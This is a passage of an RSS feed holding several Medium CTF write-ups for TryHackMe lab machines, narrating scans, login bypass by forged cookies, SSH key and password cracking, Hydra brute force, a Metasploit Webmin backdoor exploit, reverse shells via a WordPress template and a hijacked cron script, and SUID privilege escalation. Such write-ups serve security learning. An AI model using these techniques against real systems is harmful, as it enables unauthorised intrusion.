            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Muzec]]></dc:creator>
            <pubDate>Sat, 25 Jul 2020 18:23:19 GMT</pubDate>
            <atom:updated>2020-07-25T18:23:19.077Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overpass — Write-Up — Tryhackme</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*tWD5crPD4r7m_DY8T17uIg.png" /></figure><p><strong>Room Name: </strong><em>Overpass</em></p><p><strong>Source</strong>: <em>Tryhackme.com</em></p><p><strong>Difficulty: </strong><em>Rated Easy But Not For Me Lol</em></p><p><strong>Created By: </strong><a href="https://tryhackme.com/p/NinjaJc01">NinjaJc01</a></p><p><strong><em>What happens when some broke CompSci students make a password manager?</em></strong></p><p>So i finally rooted Overpass on Tryhackme took me days with some little help from friends also a little cheating looking at the Privilege Escalation in the root part let get started.</p><p><strong>SCANNING.</strong></p><p><em># Nmap 7.80 scan initiated Sat Jul 18 08:33:44 2020 as: nmap -sC -sV -oA nmap 10.10.113.243<br>Nmap scan report for 10.10.113.243<br>Host is up (0.20s latency).<br>Not shown: 998 closed ports<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)<br>| 256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)<br>|_ 256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)<br>80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)<br>|_http-title: Overpass<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</em></p><p><em>Service detection performed. Please report any incorrect results at </em><a href="https://nmap.org/submit/"><em>https://nmap.org/submit/</em></a><em> .<br># Nmap done at Sat Jul 18 08:34:43 2020–1 IP address (1 host up) scanned in 58.78 seconds</em></p><p><strong>ACCESSING IP.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wS7uBmj3vheJA00MePJWBg.png" /></figure><p>I try checking some pages nothing interesting about it <strong><em>About Us, Downloads</em></strong> also page source nothing special so i try to busts some dirs with Gobuster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1wIvE2fj4NXXMQadvqtXg.png" /></figure><p>The only interesting dir is <strong><em>/admin </em></strong>let try to access it maybe luckily we can find anything boom yea boom lol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pe1kIBYe9W3Ab8gnd68kYQ.png" /></figure><p>Not the boom am expecting it Overpass administrator login page hmm let try a simple username and password <strong><em>admin</em> </strong>and <strong><em>admin</em> </strong>hmm no luck let try simple SQL injection <strong><em>admin</em></strong>&#39;<strong><em>— 1=1&#39; —</em></strong> no luck let view some page source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dMZYHeXTcYqWNdW6e7UHSA.png" /></figure><p>The login.js let check maybe a hint is hidden or anything that can lead us to be able to log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*XQAl95i9h2D13R4YlwrIPA.png" /></figure><p>Ok i just got brainfuck lol what i find interesting is the cookie and cookie <strong><em>Cookies.set(“SessionToken”,statusOrCookie) </em></strong>checking the page with cookie editor we have no active cookies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*47kxsxCqrthlgAkvBKbLqQ.png" /></figure><p>Can i create a fake cookies?? maybe or maybe not can i bypass the login page no harm in trying let give it a shot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPZOSqyBLVRrnnOamxfBKA.png" /></figure><p>So i created two cookies with cookie editor 1 <strong>statusOrCookie </strong>with the incorrect Credentials 2 <strong>SessionToken </strong>with correct Credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j-0FZXc3pFxCea09sxGPfw.png" /><figcaption><strong>statusOrCookie</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*de7giRzl9o1Ub5y6YnpyKQ.png" /><figcaption><strong>SessionToken</strong></figcaption></figure><p>Ok let refresh the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aCl0FI0xCms5Ti7jskY4bw.png" /></figure><p>That the boom i want RSA PRIVATE KEY for SSH ok let move on to the next step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*cYf7Y7j3CxxJX81Zh_tPeg.png" /></figure><p>The username should be james let save the SSH keys with the name id_rsa also give it permission with chmod 600 id_rsa and log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fn7r7f2YmNKbx99iHWJsSQ.png" /></figure><p>Hmm we need a passphrase to be able to log in time to call john the ripper using the ssh2john to crack the SSH key ssh2john id_rsa after that copy the text you see in the screen save it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c9IDZXI6tWEPUeCknR81Hw.png" /></figure><p>To crack the file you save use john — wordlist=rockyou.txt with the file you save in no time you will have the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SosiCVXz1_J7En5dm-lBWA.png" /></figure><p>Am in now we have user.txt time to get root Privilege Escalation part not that easy for me lol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*Tbv_3JSS_8pJdeIV6Pj3tw.gif" /></figure><p>Trying Sudo -l no luck ok i use a SimpleHTTPServer to transfer Linenum to the victim machine from my own machine cool right? let run LinEnum.sh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q2AwPMGlkzz_iRCPtrwiFA.png" /></figure><p>Cronjob running also we have write permission in the /etc/hosts cool let try to create a fake files to get a reverse shell to machine by editing the /etc/hosts adding our VPN IP to get connection back to our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1rLtuZQFNZAmXTBPQ_uPbA.png" /></figure><p>Going back to our machine let create a folder like /downloads/src/buildscript.sh the buildscript.sh will contain our reverse shell code which you can get here <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">pentestmonkey</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHpz2oTAk07kgIWEbXR8wg.png" /></figure><p>Ok start an ncat connection to listen to incoming connection also a SimpleHTTPServer to transfer the file to the victim machine to get the root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GuYbKvEnu4Dw97w-w5flCw.png" /></figure><p>Boom and we have root shell let get our root.txt and we are done rooting overpass.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*amxGRcZXloEaKPjy5o3ykw.png" /></figure><p>We are Done…. ..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*cf9w0s7sMTGbPSdYVKnEKQ.gif" /></figure><p>Thanks to <a href="http://twitter.com/nistayade">@nistayade</a> for the hint for Privilege Escaltion to get the root flag.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70bce58d7cfd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JoyStick — WriteUp-TryHackme]]></title>
            <link>https://medium.com/@msaminu654/joystick-writeup-tryhackme-f67b087a1b5b?source=rss-c9e9bd44299d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f67b087a1b5b</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Muzec]]></dc:creator>
            <pubDate>Fri, 17 Jul 2020 14:12:38 GMT</pubDate>
            <atom:updated>2020-07-17T14:12:38.686Z</atom:updated>
            <content:encoded><![CDATA[<h3>JoyStick — WriteUp-TryHackme</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KdskuMV6EJIHUvyfsLXNFg.png" /></figure><p><em>JoyStick rated easy on TryHackme.com</em></p><p><strong>Enumerations; Enumeration; Enumeration;</strong></p><p><strong>PORT SCANNING.</strong></p><p># Nmap 7.80 scan initiated Thu Jul 16 10:08:10 2020 as: nmap -sC -sV -oA nmap 10.10.191.17<br>Nmap scan report for 10.10.191.17<br>Host is up (0.16s latency).<br>Not shown: 997 closed ports<br>PORT STATE SERVICE VERSION<br>21/tcp open ftp vsftpd 3.0.3<br>|_ftp-anon: got code 500 “OOPS: vsftpd: refusing to run with writable root inside chroot()”.<br>22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 c7:ce:5d:fa:24:68:3a:10:63:f9:28:1b:f4:6d:e5:bc (RSA)<br>| 256 6b:7b:f5:12:e0:db:bb:b0:ca:f8:f8:c0:84:bc:27:e6 (ECDSA)<br>|_ 256 1b:d4:20:23:d0:5b:32:16:ad:c2:a9:cd:99:1c:e6:6e (ED25519)<br>80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<strong><br></strong>|_http-title: JoyStick Gaming<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</p><p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Thu Jul 16 10:08:53 2020–1 IP address (1 host up) scanned in 42.44 seconds</p><p><strong>3 OPEN PORTS 21, 22 AND 80.</strong></p><p>Let try FTP login maybe we have access to anonymous details but unfortunately i get some error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cGvVSrX5zRwXUYmR6VE6gg.png" /></figure><p>Now let try to access the IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jK7xc081TtBrVX2XkVA2zA.png" /></figure><p>Just a simple page let view the page source maybe we can found a hint or anything strange.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YVe7i0axxmnXQqDy2NLgeg.png" /></figure><p>Cool we found something a message to one of the user let some some ssh brute forcing calling Daddy Hydra to work lol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zoxWBcKCfH1ph_tWMSzuCQ.png" /></figure><p>Boom we have the details trying the rockyou.txt is taking to long changing wordlist to <strong><em>usr/share/wordlists/fasttrack.txt </em></strong>we have the credential with no time no move to next step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H0Z_ep7n_xoQXy89YJYpIg.png" /></figure><p>Boom we are in and we have user.txt let go for root now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-46KMAxuE94pxevUWeR1ZQ.png" /></figure><p>Going back to the home dir we found another user notch which root flag boom box completed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f67b087a1b5b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write-Up — Source CTF — TryHackMe]]></title>
            <link>https://medium.com/@msaminu654/write-up-source-ctf-tryhackme-2a0dd0ea37f5?source=rss-c9e9bd44299d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a0dd0ea37f5</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking-training]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Muzec]]></dc:creator>
            <pubDate>Thu, 09 Jul 2020 04:58:40 GMT</pubDate>
            <atom:updated>2020-07-09T04:58:40.189Z</atom:updated>
            <content:encoded><![CDATA[<h3>Write-Up — Source CTF — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*b4_Rxzg7uAduZriP-QX7Ig.jpeg" /></figure><p><strong><em>Exploit a recent vulnerability and hack Webmin, a web-based system configuration tool.</em></strong></p><p>We always start with an Nmap scan let hit it <strong><em>nmap -sC -sV -oA nmap IP address</em></strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WYJ67eGKOzmD16XW_rUgJg.png" /></figure><p>Two open ports 22 ssh and 10000 MiniServ 1.890 i think the web server i try accessing the port 10000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XdGYLcsrrP4ATWPu8U9dZQ.png" /></figure><p>This web server is running in SSL mode. Try the URL <a href="https://ip-10-10-112-198.eu-west-1.compute.internal:10000/">https://ip-10-10-112-198.eu-west-1.compute.internal:10000/</a> instead.</p><p>skipping the warning i try to do some research on the web server luckily i hit a jackpot on Webmin website about the Webmin version 1.890.</p><p>Webmin version 1.890 was released with a backdoor that could allow anyone with knowledge of it to execute commands as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7cQpmjdn4njAV5kwzBBa5A.png" /></figure><p>Let launch our Metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SP2FRgDvSLlS4OGQrRFLaQ.png" /></figure><p>Searching the web server version <strong><em>MiniServ 1.890</em></strong> boom we found our exploit let set up and get ready to exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ePTgZFlKdD1t_eEqUiJ1yg.png" /></figure><p>set RHOSTS Machine IP address.</p><p>set SSL true since we know this web server is running in SSL mode.</p><p>set LHOST Internal Virtual IP Address Your VPN.</p><p>exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*61qeMdgEE1wLMnSFgRUy3Q.png" /></figure><p>Boom we have root shell we can spawn a TTY shell to make it more stable <strong><em>python -c ‘import pty; pty.spawn(“/bin/bash”)’</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-vV-HtoAqk4WGKUhHOxRUw.png" /></figure><p>Let get user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vP5XLy0hs7X1omLbF4Au6w.png" /><figcaption>user.txt</figcaption></figure><p>Now root.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o2hIj5agfTtEvyxnx63LtA.png" /><figcaption>root.txt</figcaption></figure><p>Box rooted and we are done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*Jp2AG9J0ou_8KarZmlPx1w.gif" /></figure><p><strong><em>Thanks To </em></strong><a href="https://tryhackme.com/p/DarkStar7471"><strong><em>DarkStar7471</em></strong></a><strong><em> For Creating So A Wonderful Room.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a0dd0ea37f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mr Robot CTF — Write-up]]></title>
            <link>https://medium.com/@msaminu654/mr-robot-ctf-write-up-6c62bb907bd7?source=rss-c9e9bd44299d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c62bb907bd7</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[mr-robot]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Muzec]]></dc:creator>
            <pubDate>Tue, 07 Jul 2020 00:12:46 GMT</pubDate>
            <atom:updated>2020-07-07T00:12:46.395Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mr Robot CTF — Write-up</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uMu2CVmGyyxXU1JGRkXKNQ.png" /><figcaption><strong><em>Mr Robot CTF Tryhackme.com</em></strong></figcaption></figure><p>Enumeration! Enumeration! Time!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ljJqjiYcJLNnz6fI4rpM_A.png" /></figure><p><strong><em>nmap -sC -sV -oA nmap IP</em></strong></p><p>Two open ports and one closed port 22 which ssh is closed port 80 open which is HTTP and port 443 open ssl.</p><p>Next step is to visit the IP to see what is running on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qUcGu3zkwmmtYk2x1kwglw.png" /></figure><p>Terminal?? i try each commands on the terminal but not what am looking for so i try to check the robots.txt luckily boom something came up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bjg9OPRB6l4u5Zq5bXeo8A.png" /></figure><p>We have the first key out of the 3 keys we are searching for not wasting to much of time i try to access fsocity.dic hmm a directory, directory for what?? time to call Gobuster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r9P4hr_F_zzCuuwrxeuB7A.png" /></figure><p>Using Gobuster to Brute force directory we found some hidden directory the first thing i try to access is the /wp-login url.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZeQhqrOfGe5Kc_-xwF1Rqg.png" /></figure><p>Boom WordPress admin login it time to brute force using Wpscan or Hydra based on the Mr. Robot show i already know the username is <strong>Elliot </strong>my guess actually lol using the directory we found fsocity.dic to brute force the login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uc8TauD97y8qcLvDN_oOhw.png" /></figure><p>We are in first thing that pop up in my mind is find a way to get a reverse shell now let head to appearance/editor click the 404 template to add a reverse shell code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LLK_DNAsujjsGL62EFdToA.png" /></figure><p>Let start an ncat listener to receive our shell to start an ncat connection command is <strong><em>nc -nvlp port </em></strong>now let visit the IP/404.php page to get our shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OCyX05jcbbqxE5oQROy4Hw.png" /><figcaption>shell!!!</figcaption></figure><p>Changing directory to home we found the second key but we are having no permission to view file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TsoSLSsKJKmSRc2uK-jQig.png" /></figure><p>Let find user that have permission to view the file luckily we found a file with a username and a hash password <strong><em>password.raw-md5 </em></strong>let crack the hash and increase our privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*axkhMbCFWhb6j1510F6UQg.png" /></figure><p>Let head to root finding the last key i try checking <strong><em>sudo -l</em></strong> but no luck let check some SUID files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*it-X2CY06IdULRhie3ZB4w.png" /></figure><p><a href="https://gtfobins.github.io/">GTFOBins</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8uftA7CMDJaUp5FNEV5gkw.png" /><figcaption>root</figcaption></figure><p>Let get the last key at root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kxi3eBo9chLk_LjiwYscBw.png" /></figure><p>Finally Box Rooted.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c62bb907bd7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write-Up — Jack-Of-All-Trade — — TryHackMe]]></title>
            <link>https://medium.com/@msaminu654/write-up-jack-of-all-trade-tryhackme-a804109fda36?source=rss-c9e9bd44299d------2</link>
            <guid isPermaLink="false">https://medium.com/p/a804109fda36</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Muzec]]></dc:creator>
            <pubDate>Sun, 28 Jun 2020 05:57:16 GMT</pubDate>
            <atom:updated>2020-06-28T06:03:30.650Z</atom:updated>
            <content:encoded><![CDATA[<h3>Write-Up — Jack-Of-All-Trades — — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IdVpvTuLGREGcMZeX-1CAA.png" /></figure><p><strong>Jack-Of-All-Trades Rated medium on TryHackMe Boot-to-root originally designed for Securi-Tay 2020.</strong></p><p>Enumeration! Enumeration! Time!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gTtUqXCwSk2NUNt0BzT-hg.png" /></figure><p>Our Nmap result was kind of strange HTTP running on port 22 and SSH running on port 80 opposite the result am expecting not wasting to much of time i try to access the HTTP port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rW-s4C-tq_CB8iwCb6Yp9g.png" /></figure><p>Strange right?? Firefox is blocking us also hmm tricky so i try messing with my browser HTTP proxy setting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0S3YSSFeUA-09LcDaL94aA.png" /></figure><p>And boom we are in…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9fsZkRDJUIra9S4dQgHDWA.png" /></figure><p>Next Stop &gt; View Page Source</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oeVxJmdvtVjbZywgos28oA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x0Ua0QHYqJDlm_b4BhgElA.png" /></figure><p>Next Stop &gt; /recovery.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WqFOPtVeclIWgdm6mtrq-Q.png" /></figure><p>View Page Source Again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f2U28VKpexmLmmIeF3JUtg.png" /></figure><p>Base32 to Hex</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*76nWId2C3-1JuMBhIU91MA.png" /></figure><p>Hex to Rot13</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4h1DUip63EEfiHzqJfQCog.png" /></figure><p>Rot13 to Plaintext</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_2DH-qOxm2ftKV1PWAaHtg.png" /></figure><p>We are left with a link hint pointing us to a Wikipedia page .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0BU3O8Q6U6ntKc56qyfkHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*31xgi_M_nRv7kzg0veA2sQ.png" /><figcaption>Using Steghide with the credentials that you got from the base64</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pt7QRpzokBL3X2U4IESt4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NuEkR-nX_yWRyc5PpV31Ew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*apPYxtFddkUKtfATFhkVdA.png" /></figure><p>Time to spawn a reverse shell to our terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WJ-M96hmMYSZcTmasB8qog.png" /><figcaption>Start an ncat connection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JUoOc11pmocl2Wjlw53YLg.png" /><figcaption>incoming connection receive boom.</figcaption></figure><p>Try to make the shell stable by spawning a TTY shell<strong> python -c ‘import pty; pty.spawn(“/bin/bash”)’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xAwVIlohAGdNGlgbFp-4LQ.png" /><figcaption>After spawning TTY Shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ohV1WrlpZMnp9AOJTghVSA.png" /></figure><p>Changing directory to home we found a password list let’s do some brute-forcing and see if the pass list we found is still containing password used by user Jack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1JSkYJ-NEfpv1b7bQZXIyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fpbNn0-oWWDIWIKj4HqcIg.png" /><figcaption>And boom we are in</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*76YzrHB3Y7nCaKs3XgRpCw.png" /><figcaption>User.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*8yCtsejAc28ZJxBx_LjkxA.gif" /></figure><p>Privilege Escalation To Get Root Flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_WJcF4vXMYOw8Qk_bsfFlA.png" /></figure><p>Trying <strong>sudo -l</strong> the respond i get was Sorry, user jack may not run sudo on jack-of-all-trades time to launch <strong>LinEnum</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OUn6U7gG6CUuNDjOo_8PqA.png" /></figure><p>Checking the SUID files i found something interesting /usr/bin/strings cool i quickly check up <a href="https://gtfobins.github.io/">GTFOBINS</a> for the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ALHzL5OK6qy4_y5QjnzKTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mpIRfsf11QYzlYykGDJEfQ.png" /><figcaption>Boom we have root.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*hLilN4Mjqq6TQpBKnXGHOw.gif" /></figure><p><strong><em>Thanks For Reading my First Write-Up More To Come.. Peace</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a804109fda36" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>